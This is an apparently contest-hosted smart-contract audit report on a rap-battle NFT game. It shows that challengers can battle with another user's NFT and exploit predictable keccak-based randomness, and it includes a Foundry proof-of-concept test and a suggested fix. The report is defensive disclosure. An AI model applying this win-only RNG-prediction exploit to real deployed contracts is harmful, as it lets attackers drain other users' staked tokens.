Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Challenger can use any OneShot NFT to go to battle (even the defender one)

Challenger can use any OneShot NFT to go to battle (even the defender's one)

Summary

A challenger can enter the battle without betting or owning a OneShot NFT. Even if they don't own an NFT, they can still win the reward if they win the battle. If they lose, nothing happens, and the transaction is reverted.

Vulnerability Details

Impact

It is unfair for the defender who needs to bet their NFT, as the challenger can enter the battle using another user's NFT.

Tools Used

Foundry

Proof of Concept (POC)

Add this code in the smart contract:

  1. We have 2 users, user and user2.

    • user manages to mint a OneShot NFT and gets 4 CredToken.

    • user2 does not have any NFT. They go on battle with the tokenId of the defender.

  2. user acts as the defender in battle.

    • user2 can also go on battle without having any NFT, he use defender NFT to go on battle

If user2 wins, they can get the reward; if they lose, it depends on whether they approve the CredToken or not.

function testGoOnBattleWithZeroCredToken() public mintRapper {
address user2 = makeAddr("User2");
vm.startPrank(user);
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.warp(4 days + 1);
vm.startPrank(user);
streets.unstake(0);
vm.stopPrank();
// user has 4 CredToken and user2 has none
assert(cred.balanceOf(address(user)) == 4);
assert(cred.balanceOf(address(user2)) == 0);
// user goes on battle as defender
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
// user2 manipulates RNG to only go on battle if they win
bool win = false;
while (!win) {
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, user2))) % totalBattleSkill;
win = random > defenderRapperSkill ? true : false;
vm.warp(111 seconds);
vm.roll(block.number + 1);
if (win) {
vm.startPrank(user2);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
} else {
console.log("##### user loses and decides not to go on battle");
}
}
// check the owner of NFT 0
assertEq(oneShot.ownerOf(0), address(user), "Owner of NFT 0 is not user");
// check the balance; the user should not get a reward but they get 3 tokens as a reward
assertEq(cred.balanceOf(address(user2)), 3, "User2 balance is not 3");
}

Recommendations

The function goOnStageOrBattle should also transfer the NFT token to the rapBattle contract.

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
+ oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.